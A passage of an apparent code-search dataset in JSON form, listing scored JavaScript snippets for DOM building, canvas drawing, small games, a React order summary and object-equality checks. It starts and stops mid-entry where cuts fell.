document.createTextNode(b);\n box.appendChild(textnode);\n }\n item.appendChild(box);\n table.appendChild(item);\n}", "title": "" }, { "docid": "da427eea82e240c8c45b636b294aa0e1", "score": "0.48898807", "text": "function gatherItem(item) {\n currentlyHeldItems++;\n carriedItems.push(item);\n item.style.top = `${20 - (25 * carriedItems.length)}px`; // items pile on each other\n item.style.left = `${-47}px`;\n beetleSteve.appendChild(item);\n}", "title": "" }, { "docid": "bf09bcb7900379c32bce0dcb00c0348a", "score": "0.4885536", "text": "grabGems() {\n for (let i=0; i<allGems.length; i++) {\n let gemChecked = allGems [i];\n if (this.x<gemChecked.x+gemChecked.width\n && this.x+this.width>gemChecked.x\n && this.y<gemChecked.y+gemChecked.height-67\n && this.y+this.height>gemChecked.y-67)\n {\n (allGems[i].color=='green') ? this.gems++ : this.life++;\n allGems.splice(i,1);\n if (this.gems==3) {this.life++;this.gems=0;}\n }\n }\n }", "title": "" }, { "docid": "0bb166ec32cff4a7ad4565bd823fe8c7", "score": "0.48846978", "text": "function addBreed(breed){\n let ul = document.querySelector('#dog-breeds');\n let li = document.createElement('li');\n li.innerText = breed;\n li.style.cursor = 'pointer';\n ul.appendChild(li);\n li.addEventListener('click', updateColor);\n }", "title": "" }, { "docid": "6c66e5c3f3f66b75c0f23bf1b22f479d", "score": "0.4884657", "text": "appendElementsToSelection() {\r\n\r\n }", "title": "" }, { "docid": "cc99c5e3e7b274b9f5c9a5f86ee54863", "score": "0.48810747", "text": "function b_building(node) {\n\t//var BOX_PLUS = 0;\n\tvar artWarning = ['F', '#fff', 'M', 9.5,1.5770779, 'L', 0.5,18.577078, 'C', 0.34375,19.264578, 0.84375,19.592703, 1.5,19.577078, 'L', 17.5,19.577078, 'C', 18.166563,19.622182, 18.704817,19.301841, 18.5,18.577078, 'L', 10.5,1.5770779, 'C', 10.215744,0.9729516, 9.7282901,0.988758, 9.5,1.5770779, 'z', 'M', 11.5,7.5770779, 'L', 10.5,13.577078, 'L', 9.5,13.577078, 'L', 8.5,7.5770779, 'C', 8.5,5.5770779, 11.5,5.5770779, 11.5,7.5770779, 'z', 'F', \"#ffbf00\", 'M', 10,15.077078, 'C', 10.625,15.108328, 11,15.467218, 11,16.077078, 'C', 11,16.686968, 10.60988,17.077078, 10,17.077078, 'C', 9.3901205,17.077078, 9,16.686968, 9,16.077078, 'C', 9.0000003,15.467218, 9.390625,15.077078, 10,15.077078, 'z'];\n\tvar artWarningBuf = new b_buffer(artWarning, 20, 20);\n\n\tvar COLOR_PLUS = '#ccdd00';\n\tvar COLOR_NOTE = '#cc0000';\n\n\tvar EDIT_STATE = 0;\n\tvar NOTE_STATE = 1;\n\tvar VIEW_STATE = 2;\n\n\tvar state = VIEW_STATE;\n\tvar canvas = new b_canvas(node);\n\tvar boxStack = new Array();\n\tvar noteStack = new Array();\n\tvar displayCache = new Array();\n\tvar displayTemp = false;\n\n\t//where the drag started\n\tvar startX = 0;\n\tvar startY = 0;\n\t//last drag Vector\n\tvar lagVectorX = 0;\n\tvar lagVectorY = 0;\n\t// the net movement of the drag\n\tvar dragVectorX = 0;\n\tvar dragVectorY = 0;\n\t// the last known mouse position\n\tvar lastMouseX = 0;\n\tvar lastMouseY = 0;\n\t//allow the event handelers to see \"this\"\n\tvar tempThis = this;\n\n\tfunction resetVectors() {\n\t\t//where the drag started\n\t\tstartX = 0;\n\t\tstartY = 0;\n\t\t//last drag Vector\n\t\tlagVectorX = 0;\n\t\tlagVectorY = 0;\n\t\t// the net movement of the drag\n\t\tdragVectorX = 0;\n\t\tdragVectorY = 0;\n\n\t\tlastMouseX = 0;\n\t\tlastMouseY = 0;\n\t}\n\n\tthis.onDrag_Start = function (e) {\n\t\tvar currentLoc = getPosition(canvas.canvasNode);\n\t\tresetVectors();\n\n\t\tstartX = e.pageX - currentLoc[0];\n\t\tstartY = e.pageY - currentLoc[1];\n\n\t\tdrawTimer = setInterval(\"animation.anim8(\" + drawTracker + \")\", animation.DELTA);\n\t\tdisplayTemp = true;\n\t}\n\n\tthis.onDrag_Stop = function (e) {\n\t\tdisplayTemp = false;\n\t\tclearInterval(drawTimer);\n\t}\n\n\tthis.onMouseDownHandle_Edit = function (e) {\n\n\t}\n\n\tthis.onMouseUpHandle_Edit = function (e) {\n\n\t\ttempThis.createBox(startX, startY, dragVectorX, dragVectorY);\n\n\t}\n\n\tthis.onMouseDownHandle_View = function (e) {\n\n\t}\n\n\tthis.onMouseUpHandle_View = function (e) {\n\n\t}\n\n\tthis.onMouseDownHandle_Note = function (e) {\n\n\t}\n\n\tthis.onMouseUpHandle_Note = function (e) {\n\t\ttempThis.createNote(startX, startY, dragVectorX, dragVectorY);\n\t}\n\n\tthis.onMouseMove = function (e) {\n\t\tlastMouseX = e.pageX;\n\t\tlastMouseY = e.pageY;\n\n\t}\n\n\n\tthis.createBox = function (x,y,w,h) {\n\t\tvar worldCoords = canvas.viewToWorld(x,y);\n\t\tboxStack.push({ 'x':worldCoords[0], 'y':worldCoords[1], 'w':w, 'h':h});\n\t\tthis.rebuildDisplayCache();\n\t\tthis.draw();\n\t}\n\n\tthis.createNote = function(x,y,w,h) {\n\t\tvar worldCoords = canvas.viewToWorld(x,y);\n\t\tnoteStack.push({ 'x':worldCoords[0], 'y':worldCoords[1], 'w':w, 'h':h});\n\t\tthis.rebuildDisplayCache();\n\t\tthis.draw();\n\t}\n\n\tthis.rebuildDisplayCache = function () {\n\t\t//use a line sweep algorithm to create the display cache\n\t\t//tempoarily drawing boxes\n\t\tdisplayCache = new Array();\n\n\t\tdisplayCache.push('F');[\"R\", startX, startY, dragVectorX, dragVectorY]\n\n\t\tdisplayCache.push(COLOR_PLUS);\n\t\tfor(var i = 0;i < boxStack.length; i++){\n\t\t\tdisplayCache.push('R');\n\t\t\tdisplayCache.push(boxStack[i].x);\n\t\t\tdisplayCache.push(boxStack[i].y);\n\t\t\tdisplayCache.push(boxStack[i].w);\n\t\t\tdisplayCache.push(boxStack[i].h);\n\t\t}\n\n\t\n\t\tdisplayCache.push('F');\n\n\t\tdisplayCache.push(COLOR_NOTE);\t\n\t\tfor(var i = 0;i < noteStack.length; i++){\n\n\t\t\tdisplayCache.push('R');\n\t\t\tdisplayCache.push(noteStack[i].x);\n\t\t\tdisplayCache.push(noteStack[i].y);\n\t\t\tdisplayCache.push(noteStack[i].w);\n\t\t\tdisplayCache.push(noteStack[i].h);\n\t\t}\n\t\t\n\t}\n\n\tthis.draw = function () {\n\t\tvar worldCoords = canvas.viewToWorld(startX,startY);\n\t\tvar currentLoc = null;\n\n\t\tif(displayTemp) {\n\t\t\tcurrentLoc = getPosition(canvas.canvasNode);\n\n\t\t\tlagVectorX = dragVectorX;\n\t\t\tlagVectorY = dragVectorY;\n\n\t\t\tdragVectorX = (lastMouseX - currentLoc[0]) - startX;\n\t\t\tdragVectorY = (lastMouseY - currentLoc[1]) - startY;\n\t\t}\n\n\t\tcanvas.clear();\n\t\tcanvas.start();\n\t\t\tcanvas.render(displayCache);\n\t\t\tfor(note in noteStack) {\n\t\t\t\t//canvas.translateModel(, );\n\t\t\t\tcanvas.bitblt(artWarningBuf, noteStack[note].x + ((noteStack[note].w/2)-(artWarningBuf.width/2)), noteStack[note].y + ((noteStack[note].h/2)-(artWarningBuf.height/2)));\n\t\t\t}\n\n\t\t\t//TODO Eventually implement different objects for each state.\n\t\t\tif(displayTemp) {\n\t\t\t\tswitch(state) {\n\t\t\t\t\tcase EDIT_STATE:\n\t\t\t\t\tcase NOTE_STATE:\n\t\t\t\t\t\tcanvas.render([\"R\", worldCoords[0], worldCoords[1], dragVectorX, dragVectorY]);\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase VIEW_STATE:\n\t\t\t\t\t\tcanvas.translateView(dragVectorX - lagVectorX, dragVectorY - lagVectorY);\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tdefault:\n\t\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\tcanvas.end();\n\t}\n\n\n\t//TODO Eventually implement different objects for each state.\n\tthis.setEditState = function () {\n\t\tstate = EDIT_STATE;\n\t\tthis.attachEvents();\n\t}\n\n\tthis.setNoteState = function () {\n\t\tstate = NOTE_STATE;\n\t\tthis.attachEvents();\n\t}\n\n\tthis.setViewState = function () {\n\t\tstate = VIEW_STATE;\n\t\tthis.attachEvents();\n\t}\n\n\tthis.attachEvents = function () {\n\t\tcanvas.canvasNode.removeEventListener('mousedown', this.onMouseDownHandle_View, false);\n\t\tcanvas.canvasNode.removeEventListener('mouseup', this.onMouseUpHandle_View, false);\n\n\t\tcanvas.canvasNode.removeEventListener('mousedown', this.onMouseDownHandle_Note, false);\n\t\tcanvas.canvasNode.removeEventListener('mouseup', this.onMouseUpHandle_Note, false);\n\n\t\tcanvas.canvasNode.removeEventListener('mousedown', this.onMouseDownHandle_Edit, false);\n\t\tcanvas.canvasNode.removeEventListener('mouseup', this.onMouseUpHandle_Edit, false);\n\n\t\t// add event handlers\n\t\tswitch(state) {\n\t\t\tcase VIEW_STATE:\n\t\t\t\tcanvas.canvasNode.addEventListener('mousedown', this.onMouseDownHandle_View, false);\n\t\t\t\tcanvas.canvasNode.addEventListener('mouseup', this.onMouseUpHandle_View, false);\n\t\t\t\tbreak;\n\t\t\tcase NOTE_STATE:\n\t\t\t\tcanvas.canvasNode.addEventListener('mousedown', this.onMouseDownHandle_Note, false);\n\t\t\t\tcanvas.canvasNode.addEventListener('mouseup', this.onMouseUpHandle_Note, false);\n\t\t\t\tbreak;\n\t\t\tcase EDIT_STATE:\n\t\t\t\tcanvas.canvasNode.addEventListener('mousedown', this.onMouseDownHandle_Edit, false);\n\t\t\t\tcanvas.canvasNode.addEventListener('mouseup', this.onMouseUpHandle_Edit, false);\n\t\t\t\tbreak;\n\t\t}\n\t}\n\n\tvar drawTracker = animation.track(this.draw);\n\tvar drawTimer = null; \n\n\t// attach the event handlers for draging\n\tcanvas.canvasNode.addEventListener('mousedown', this.onDrag_Start, false);\n\tcanvas.canvasNode.addEventListener('mouseup', this.onDrag_Stop, false);\n\tcanvas.canvasNode.addEventListener('mousemove', this.onMouseMove, false);\n\tthis.attachEvents();\n}", "title": "" }, { "docid": "523a55a1309b06eae44498a29f9fb68c", "score": "0.4880606", "text": "function foodBag() {\n\n lifebag1.display();\n\n if (chocolatewilladd === true) {\n lifebag1.addchocolate();\n }\n\n if (saladwilladd === true) {\n lifebag1.addsalad();\n }\n\n if (sushiwilladd === true) {\n lifebag1.addsushi();\n }\n\n if (parfaitwilladd === true) {\n lifebag1.addparfait();\n }\n\n if (cheetowilladd === true) {\n lifebag1.addcheeto();\n }\n if (sodawilladd === true) {\n lifebag1.addsoda();\n }\n\n}", "title": "" }, { "docid": "67e515139567e5bc7af68cf2288dcf71", "score": "0.4880104", "text": "function feature_test() {\n var a = new Layer(-100, -100, 0, 100, 75);\n var b = new Layer(100, 100, 200, 100, 75);\n var c = new Layer(0, 0, -200, 800, 600);\n var d = new Layer(100, -150, 0, 100, 75);\n a.setOwnHTML(\"<p>Component A</p>\");\n b.setOwnHTML(\"<p>Component B</p>\");\n d.setOwnHTML(\"<p>Component D</p>\");\n parentLayer.addChild(a);\n parentLayer.addChild(b);\n parentLayer.addChild(c);\n c.addChild(d);\n a.addChild(new Connector(b, 1, 1, -1, -1));\n a.addChild(new Connector(d, 1, 1, -1, -1));\n draw();\n}", "title": "" }, { "docid": "09cac334eea4aaf350d8b6583830b5c9", "score": "0.48798302", "text": "function showAllBricks(){\n bricks.forEach(column => {\n column.forEach(brick => {brick.visible = true;}\n )\n })\n}", "title": "" }, { "docid": "6a8ac4d558208835e8cbffc88e38ac91", "score": "0.48730665", "text": "addOptions(){\n\n for(let shelf of this.shelves){\n for(let option of this.shelves){\n shelf.addShelfOption(option);\n }\n }\n }", "title": "" }, { "docid": "bd10044ee62550df3818b9381896cc6e", "score": "0.48721844", "text": "function addButtons() {\n\n renderButtons();\n addButtonFunctionality();\n\n}", "title": "" }, { "docid": "f1b4b3230cb4c1c2403a583319a85532", "score": "0.48703942", "text": "function insert(exp) {\n expBox.value += exp; //appending\n}", "title": "" }, { "docid": "85e8baceb871b1641b6aafbf0be90c05", "score": "0.48703825", "text": "function createGearBagControl() {\n\tvar gearBag = new Element( 'div', {\n\t\tclass: 'dropArea sideBarElement'\n\t})\n\n\tgearBag.inject( itemControls );\n\n\tvar gearBagImage = new Element( 'img', {\n\t\tsrc: 'img/bag.svg',\n\t\talt: 'Gear Bag',\n\t\tclass: 'sideBarImage dropArea'\n\t})\n\n\tgearBagImage.inject( gearBag );\n}", "title": "" }, { "docid": "654e801cdd415b814cb2c965ae633626", "score": "0.48701677", "text": "function addIngredient_to_Recipe(event){\n var ing_object = ingredient_object();\n make_row(ing_object);\n}", "title": "" }, { "docid": "6840247bd747feeb435a1825304df62e", "score": "0.48679537", "text": "function addRubricBlock () {\n\n $('.rublock-adder', $section).adder({\n target: $('.rubricblocks', $section),\n content : templates.rubricblock,\n templateData : function(cb){\n cb({\n 'qti-type' : 'rubricBlock',\n index : $('.rubricblock', $section).length,\n content : [],\n views : [1]\n });\n }\n });\n\n //we listen the event not from the adder but from the data binder to be sure the model is up to date\n $(document).on('add.binder', '#' + $section.attr('id') + ' .rubricblocks', function(e, $rubricBlock){\n var index, rubricModel;\n if(e.namespace === 'binder' && $rubricBlock.hasClass('rubricblock')){\n index = $rubricBlock.data('bind-index');\n rubricModel = sectionModel.rubricBlocks[index] || {};\n\n $('.rubricblock-binding', $rubricBlock).html('<p>&nbsp;</p>');\n rubricBlockView.setUp(creatorContext, rubricModel, $rubricBlock);\n\n /**\n * @event modelOverseer#rubric-add\n * @param {Object} rubricModel\n */\n modelOverseer.trigger('rubric-add', rubricModel);\n }\n });\n }", "title": "" }, { "docid": "8c2cc2371231c6beb90dd138b6c9f2b6", "score": "0.48668647", "text": "_genElementToolbox(item) {\n let toolbox = {\n gen: '',\n extra: []\n };\n\n let vplElementHandler = this.__domainElems.getVPLElement(item.name);\n let blocklyElems = (this._currGenDomainElemInstanceId === null)\n ? vplElementHandler.blocklyElemNames\n : vplElementHandler.blocklyElemInstanceNames(\n this._currGenDomainElemInstanceId\n );\n \n // multi element\n if (Array.isArray(blocklyElems)) {\n for (let key in blocklyElems) {\n let elems = blocklyElems[key];\n\n // multi | single elem handler\n let blocks = (typeof elems === 'string')\n ? this._genBlockToolbox(elems)\n : this._genBlocksToolbox(elems);\n \n toolbox.gen += blocks.gen;\n toolbox.extra.push(...blocks.extra);\n }\n }\n else {\n let blocks = this._genBlockToolbox(blocklyElems);\n \n toolbox.gen += blocks.gen;\n toolbox.extra.push(...blocks.extra);\n }\n \n return toolbox;\n }", "title": "" }, { "docid": "4c50155ff4e29f3bf9cf8216273e2427", "score": "0.48643634", "text": "function ListBuilder(element, index, array) {\n\tscreen.first.menu.add(new ProcessorLine(element));\n}", "title": "" }, { "docid": "4c50155ff4e29f3bf9cf8216273e2427", "score": "0.48643634", "text": "function ListBuilder(element, index, array) {\n\tscreen.first.menu.add(new ProcessorLine(element));\n}", "title": "" }, { "docid": "fd7f5bd540275329b1b671ddb0382217", "score": "0.48539105", "text": "function createBookExpansionPanels() {\n return ALPHABET.map(character => (\n <div\n key={character}\n className={classes.panels}\n >\n <BooksExpansionPanel\n alphaBeticalFilter={character}\n books={books}\n subjects={subjects}\n />\n </div>\n ));\n }", "title": "" }, { "docid": "9d3f189c809f2236bd3156fa3c59f8c0", "score": "0.48536408", "text": "spawnObjects() {\n\n let howFarBehindToSpawn = 1000;\n // add the motorcycle\n /*\n for (let j = 0; j < this.bikes.length; j++) {\n this.bikes[j].visible = true;\n this.bikes[j].setMotoPositionZ(howFarBehindToSpawn);\n }\n */\n\n // add the deer\n for (let k = 0; k < this.deer.length; k++) {\n //this.deer[k].visible = true;\n this.deer[k].deer.position.z = howFarBehindToSpawn;\n }\n\n // add all of the boxes\n for (let i = 0; i < this.boxes.length; i++) {\n //this.boxes[i].visible = true;\n this.boxes[i].box.position.z = howFarBehindToSpawn;\n }\n }", "title": "" }, { "docid": "9d07644a3ba5c70190a75657a943aa5b", "score": "0.48523086", "text": "function newBees() {\r\n //let s: Square = { x: 300, y: 580, size: Math.random() * 1 + 2.5, color: \"#8FBC8F\" };\r\n let b = new Aufgabe8_Superklasse.Movingbees(this.x = 390, this.y = 560, this.targetx, this.targety);\r\n b.setRandomStyle1();\r\n b.move();\r\n b.move1();\r\n bees.push(b);\r\n }", "title": "" }, { "docid": "f5aa392a32bbef239ad098da42c486ae", "score": "0.48520198", "text": "function MyGraphLeaf(graph, xmlelem) {\n \n this.graph=graph;\n this.xmlelem=xmlelem;\n var type = xmlelem.getAttributeNode(\"type\").value\n if(type=='patch'){\n var tamanho=this.xmlelem.children.length;\n var controlPoints = new Array();\n var vdivs=0;\n \n for(var i=0;i<tamanho;i++){\n bigArray = new Array();\n var size=xmlelem.children[i].children.length;\n vdivs=0;\n for(var k=0;k<size;k++){\n vdivs++;\n pointArray = new Array();\n var x0=parseFloat(xmlelem.children[i].children[k].getAttributeNode(\"xx\").value);\n var y0=parseFloat(xmlelem.children[i].children[k].getAttributeNode(\"yy\").value);\n var z0=parseFloat(xmlelem.children[i].children[k].getAttributeNode(\"zz\").value);\n var w0=parseFloat(xmlelem.children[i].children[k].getAttributeNode(\"ww\").value); //weight\n pointArray.push(x0,y0,z0,w0);\n bigArray.push(pointArray);\n }\n controlPoints.push(bigArray);\n \n }\n this.divs=this.xmlelem.getAttributeNode(\"args\").value.split(\" \");\n this.divs[0]=parseFloat(this.divs[0]);\n this.divs[1]=parseFloat(this.divs[1]);\n this.divs.push(parseFloat(tamanho-1));\n this.divs.push(parseFloat(vdivs-1));\n this.divs.push(controlPoints);\n\n\n } \n else if (type=='submarine') \n this.obj= new MySubmarineShape(this.graph.scene);\n else{ \n this.args=this.xmlelem.getAttributeNode(\"args\").value.split(\" \");}\n //this.obj=this.obj.split(\" \");\n switch(type){\n case 'rectangle':\n this.obj = new Square(this.graph.scene,parseFloat(this.args[0]),parseFloat(this.args[1]),parseFloat(this.args[2]),parseFloat(this.args[3]));\n // MyQuad(this.graph);\n break;\n case 'sphere':\n this.obj = new MySphere(this.graph.scene,parseFloat(this.args[0]),parseFloat(this.args[1]),parseFloat(this.args[2]));\n break;\n case 'cylinder':\n this.obj = new Cylinder(this.graph.scene,parseFloat(this.args[0]),parseFloat(this.args[1]),parseFloat(this.args[2]),parseFloat(this.args[3]),parseFloat(this.args[4]));\n break;\n case 'triangle':\n this.obj = new MyTriangle(this.graph.scene,parseFloat(this.args[0]),parseFloat(this.args[1]),parseFloat(this.args[2]),parseFloat(this.args[3]),parseFloat(this.args[4]),parseFloat(this.args[5]),parseFloat(this.args[6]),parseFloat(this.args[7]),parseFloat(this.args[8]));\n break;\n case 'patch':\n this.obj= new MyPatch(this.graph.scene,this.divs);\n break;\n }\n\n\n}", "title": "" }, { "docid": "eb5c5c8736d0271cc3cae45b67d524a1", "score": "0.48432198", "text": "function addMods(){\n for(let i = 0; i < clicker.items.length; i++) {\n modifiers += clicker.items[i].modifier;\n console.log(modifiers)\n return modifiers;\n }\n}", "title": "" }, { "docid": "b100f04baa909a16d19a35e7a3e0d093", "score": "0.48431757", "text": "function addComponents() {\n\n var iframe = $('#ptifrmtgtframe').contents();\n var iframeBody = iframe.find(\"body\");\n iframeBody.contents().find('[id^=\"SSR_CLSRCH_MTG1$scroll$\"]').each(function(i, obj) {\n\n var tr = this.tBodies[0].children;\n var th = tr[0].children[5].cloneNode(true);\n\n th.innerHTML = \"Rating\";\n tr[0].insertBefore(th, tr[0].children[5]);\n\n th = tr[1].children[5].cloneNode(true);\n th.innerHTML = '<center><img src=\"https://2aih25gkk2pi65s8wfa8kzvi-wpengine.netdna-ssl.com/toefl/wp-content/plugins/magoosh-lazyload-comments-better-ui/assets/img/loading.gif\" style=\"width:20px;height:20px;\"></center>';\n tr[1].insertBefore(th, tr[1].children[5]);\n ratingSpans.push(th);\n });\n}", "title": "" }, { "docid": "5307704c83963ae93861684d60a1c048", "score": "0.48426697", "text": "function addListeners() { // add listeners for current brush\n getCells().forEach(cell => {\n cell.addEventListener('mousedown', currentBrush);\n cell.addEventListener('mousedown', () => getCells().forEach(cell2 => cell2.addEventListener('mouseenter', currentBrush)));\n cell.addEventListener('mouseup', () => getCells().forEach(cell2 => cell2.removeEventListener('mouseenter', currentBrush)));\n });\n}", "title": "" }, { "docid": "fb3ad9ece0ef65205d5af048d4635523", "score": "0.48419464", "text": "render () {\n let ingredientsArray = [];\n for (let key in this.props.ingredients) {\n ingredientsArray.push(<li style={{textTransform: 'capitalize'}} key={key + 'ingredientsArray'}>{key}: {this.props.ingredients[key]}</li>);\n }\n return (\n <>\n <h3>Your order:</h3>\n <p>A yammy burger stuffed with:</p>\n <ul>\n {ingredientsArray}\n </ul>\n <p>Order price: <strong>{this.props.price}</strong></p>\n <p>Proceed to checkout?</p>\n <CustomButton clicked={this.props.dropBack} btnType='Danger'>CANCEL</CustomButton>\n <CustomButton clicked={this.props.moveOn} btnType='Success'>CONTINUE</CustomButton>\n </>\n );\n }", "title": "" }, { "docid": "ac90556f6ec651d35e107dc8f77d8876", "score": "0.48398405", "text": "addGrub () {\n const data = this.vm.$data\n const snakes = data.snakes\n const last = snakes.length - 1\n snakes.push(createGrub(snakes[last].x, snakes[last].y, TYPE.body))\n }", "title": "" }, { "docid": "3b97a81b677fc45592b2b03342302d5a", "score": "0.4826839", "text": "function showAllBricks(){\n bricks.forEach(column =>{\n column.forEach(brick => (brick.visible = true));\n })\n}", "title": "" }, { "docid": "7716fcfbef838c8ce117a14cf3eea8c2", "score": "0.48267782", "text": "exampleFill() {\n this.addItem('Buy eggs');\n this.addItem('Read a book', true);\n this.addItem('Organize office');\n this.addItem('Send a letter');\n }", "title": "" }, { "docid": "a45d46011941a115ec50a041f9b0d7c9", "score": "0.48260933", "text": "addCells() {\n this.setState({\n config: this.drawCells()\n });\n const cellArray = [];\n for (let i = 0; i < this.props.spans.length; i++) {\n if (this.props.spans[i].componentType === \"Micro-service\") {\n cellArray.push(this.props.spans[i]);\n }\n }\n this.setState({\n clicked: false,\n heading: \"Cell - Level Sequence\"\n });\n }", "title": "" }, { "docid": "5557eb689e4f90b139e4dae67847e10e", "score": "0.48164585", "text": "function mouseReleased() {\n if (currentEdits.dots.length) {\n allEdits.push(currentEdits);\n console.log(currentEdits);\n initCurrentEdits();\n }\n}", "title": "" }, { "docid": "0a8f283a2fb11a50a9cb52cbd2e14b79", "score": "0.48151922", "text": "function appendBikesToDOM(bikes) {\n // remove Bike list if exist\n while (list.firstChild) {\n list.removeChild(list.firstChild);\n }\n // create and append tags\n for (let i = 0; i < bikes.length; i++) {\n // create image obj\n let img = document.createElement('img');\n img.className = \"picture\";\n img.src = bikes[i].img;\n // create name obj\n let name = document.createElement('span');\n name.className = \"text\";\n name.innerText = bikes[i].name;\n\n // create button and event for edit and delete\n let editButton = document.createElement('button')\n editButton.className = \"button\";\n // add event on btn and pass Bike id more at https://stackoverflow.com/questions/256754/how-to-pass-arguments-to-addeventlistener-listener-function\n editButton.addEventListener('click', function () {\n editBike(bikes[i])\n });\n editButton.innerText = 'Editare';\n let deleteButton = document.createElement('button')\n deleteButton.className = \"button\";\n // add event on btn and pass Bike object more at https://stackoverflow.com/questions/256754/how-to-pass-arguments-to-addeventlistener-listener-function\n deleteButton.addEventListener('click', function () {\n deleteBike(bikes[i].id)\n });\n deleteButton.innerText = 'Stergere';\n // create a container for img and name\n let container = document.createElement('div');\n container.className = \"flex\";\n // append elements to container\n container.appendChild(img);\n container.appendChild(name);\n container.appendChild(editButton);\n container.appendChild(deleteButton);\n\n // append container to DOM (list div)\n list.appendChild(container);\n }\n}", "title": "" }, { "docid": "537f508d05337858333bd77814fd8f6a", "score": "0.48124075", "text": "function graphics() {\n\t\t\t\n\t\t\t// mug= s.bData( qu.gR(\"mug\") ).drag()\n\t\t\tme = cjs.bm(qu.gR(\"me\")).drag()\n\t\t\ts.A(me)\n\t\t}", "title": "" }, { "docid": "537f508d05337858333bd77814fd8f6a", "score": "0.48124075", "text": "function graphics() {\n\t\t\t\n\t\t\t// mug= s.bData( qu.gR(\"mug\") ).drag()\n\t\t\tme = cjs.bm(qu.gR(\"me\")).drag()\n\t\t\ts.A(me)\n\t\t}", "title": "" }, { "docid": "6b103f7bf83a4655f6b282449fab703f", "score": "0.4808632", "text": "function add() { } //FIXME add implementation ", "title": "" }, { "docid": "5faf968f56d9e70000b5ec9e7665fe7a", "score": "0.4804299", "text": "function ot_ba_displayAddBtn(comboClass, bundle) {\n $(`.${comboClass}`).append(`\n <div class=\"${ot_ba_add_btn}\">\n <p onclick=\"ot_ba_addBundle(${bundle.id})\">\n <span class=\"top\">${ot_ba_settings.button_text}</span>\n <span class=\"bottom\"></span>\n </p>\n </div>\n `);\n}", "title": "" }, { "docid": "0432839e65365f651db3f975764a5b65", "score": "0.48039505", "text": "function popolate(array) {array.forEach(icon => container.innerHTML += card(icon))}", "title": "" }, { "docid": "ddca6271fa3940291e03667a89c12ea4", "score": "0.48002377", "text": "function ListBuilder(element, index, array) {\n\tscreen.first.menu.add(new ClothingSubContainer(element));\n}", "title": "" } ]
52073b48d79ae033a90b6a76906dafd8
Performs equality by iterating through keys on an object and returning false when any key has values which are not strictly equal between the arguments. Returns true when the values of all keys are strictly equal.
[ { "docid": "aa26e4384e35c8469d6d13abf9164f77", "score": "0.0", "text": "function shallowEqual(objA, objB) {\n if (objectIs(objA, objB)) {\n return true;\n }\n\n if (typeof objA !== 'object' || objA === null || typeof objB !== 'object' || objB === null) {\n return false;\n }\n\n var keysA = Object.keys(objA);\n var keysB = Object.keys(objB);\n\n if (keysA.length !== keysB.length) {\n return false;\n } // Test for A's keys different from B.\n\n\n for (var i = 0; i < keysA.length; i++) {\n if (!hasOwnProperty$2.call(objB, keysA[i]) || !objectIs(objA[keysA[i]], objB[keysA[i]])) {\n return false;\n }\n }\n\n return true;\n}", "title": "" } ]
[ { "docid": "4d0133939e4b784bf72b19df67815ca0", "score": "0.7438986", "text": "function equalityOnKeys(...keysToCompare) {\n return function (aObject, anotherObject) {\n return keysToCompare.every(key => aObject[key] === anotherObject[key]);\n };\n}", "title": "" }, { "docid": "6909b86bcac4de816fa98872f0fe0cdf", "score": "0.6672862", "text": "function equalForKeys(a, b, keys) {\n if (!keys) {\n keys = [];\n for (var n in a) keys.push(n); // Used instead of Object.keys() for IE8 compatibility\n }\n\n for (var i = 0; i < keys.length; i++) {\n var k = keys[i];\n if (a[k] != b[k]) return false; // Not '===', values aren't necessarily normalized\n }\n return true;\n }", "title": "" }, { "docid": "e8e763842cc0ea9da9c3474077ec1795", "score": "0.6641251", "text": "function equalValues(obj1, obj2) {\n var props1 = Object.getOwnPropertyNames(obj1)\n var props2 = Object.getOwnPropertyNames(obj2)\n if (props1.length != props2.length) {\n console.log(\"Comparing objects with different keys\")\n return false\n }\n return props1.every(name => obj1[name] == obj2[name])\n}", "title": "" }, { "docid": "3ff98871c255e39e1b3bd3be42f0f0f2", "score": "0.65924424", "text": "function equalForKeys(a, b, keys) {\n\t if (!angular.isArray(keys) && angular.isObject(keys)) {\n\t keys = protoKeys(keys, [\"$$keys\", \"$$values\", \"$$equals\", \"$$validates\", \"$$new\", \"$$parent\"]);\n\t }\n\t if (!keys) {\n\t keys = [];\n\t for (var n in a) keys.push(n); // Used instead of Object.keys() for IE8 compatibility\n\t }\n\n\t for (var i = 0; i < keys.length; i++) {\n\t var k = keys[i];\n\t if (a[k] != b[k]) return false; // Not '===', values aren't necessarily normalized\n\t }\n\t return true;\n\t }", "title": "" }, { "docid": "403c8271d6549b73e4542f9cca7e44dd", "score": "0.6486172", "text": "async allEqualWith(key) {\n const firstItem = await this.next();\n if (firstItem.done) {\n return true;\n }\n const first = await key(firstItem.value);\n while (true) {\n const item = await this.next();\n if (item.done) {\n return true;\n }\n const eq = (await key(item.value)) === first;\n if (!eq) {\n return false;\n }\n }\n }", "title": "" }, { "docid": "35ae300a25d1772ab1ac09348a20ae78", "score": "0.6457323", "text": "function isEqual(obj1, obj2) {\n\n var objKey1 = Object.keys(obj1)\n var objKey2 = Object.keys(obj2)\n\n if (objKey1.length !== objKey2.length) {\n return false\n } else {\n\n for (var objKey of objKey1) {\n\n if (obj1[objKey] !== obj2[objKey])\n\n return false\n\n }\n\n\n\n }\n\n return true\n}", "title": "" }, { "docid": "641a87794fd3e688326602edb5bfe030", "score": "0.6339289", "text": "static objectsEqual(map1, map2) {\n let keys1 = Object.keys(map1);\n if (keys1.length !== Object.keys(map2).length) return false;\n for (let i = 0; i < keys1.length; i++) {\n let key = Object.keys(map1)[i];\n if (!GenUtils.equals(map1[key], map2[key])) return false;\n }\n return true;\n }", "title": "" }, { "docid": "b4773cf26df0680a9b7b81dc2299af8c", "score": "0.6331578", "text": "function isEqual(left, right) {\n const OBJECT_STRING = '[object Object]';\n if (typeof left !== 'object' || typeof right !== 'object') {\n return left === right;\n }\n if (left === null || right === null) {\n return left === right;\n }\n const leftArray = Array.isArray(left);\n const rightArray = Array.isArray(right);\n if (leftArray !== rightArray) {\n return false;\n }\n const leftPlainObject = Object.prototype.toString.call(left) === OBJECT_STRING;\n const rightPlainObject = Object.prototype.toString.call(right) === OBJECT_STRING;\n if (leftPlainObject !== rightPlainObject) {\n return false;\n }\n if (!leftPlainObject && !leftArray) {\n return false;\n }\n const leftKeys = Object.keys(left);\n const rightKeys = Object.keys(right);\n if (leftKeys.length !== rightKeys.length) {\n return false;\n }\n const keySet = {};\n for (const key of leftKeys) {\n keySet[key] = true;\n }\n for (const key of rightKeys) {\n keySet[key] = true;\n }\n const allKeys = 